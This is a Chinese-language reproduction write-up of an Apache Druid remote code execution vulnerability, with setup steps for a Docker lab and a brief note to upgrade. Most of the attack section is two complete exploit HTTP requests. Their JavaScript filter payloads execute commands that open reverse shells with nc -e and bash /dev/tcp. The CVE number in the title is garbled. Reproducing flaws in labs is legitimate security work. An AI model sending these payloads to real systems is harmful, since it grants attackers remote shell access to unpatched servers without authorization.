漏洞复现: Apache Druid 远程代码执行漏洞 (CVE--25646)

作者:Ja0k

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一.漏洞概要

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。

二.影响范围

影响版本: Apache Druid < 0.20.1
安全版本: Apache Druid 0.20.1

三.环境搭建

https://github.com/apache/druid/
https://druid.apache.org/docs/latest/tutorials/index.html
下载0.19版本
https://github.com/apache/druid/releases/tag/druid-0.19.0
解压
cd druid-druid-0.19.0-rc1\distribution\docker
docker-compose up -d
打开 http://192.168.123.10:8888/

四.漏洞复现

Poc1:通用

POST /druid/indexer/v1/sampler HTTP/1.1

Host: 192.168.123.10:8888

Accept: application/json, text/plain, */*

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Referer: http://192.168.123.10:8888//unified-console.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Content-Type: application/json

Connection: close

Content-Length: 1007

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.123.10 5555 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

注意:因为是docker环境没有bash,这里直接采用nc -e反弹

Poc2:通用

![image (2)](image (2).png)POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1

Host: 0.0.0.0:8888

Content-Length: 1005

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

DNT: 1

Content-Type: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",

"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/0.0.0.0/5555 0>&1')}",

"dimension": "added",

"": {

"enabled": "true"

}

}

}

},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}

五.修复建议

升级至安全版本及其以上。

参考

https://www.hedysx.com/2732.html
https://xz.aliyun.com/t/9176
https://www.t00ls.net/thread-59631-1-1.html

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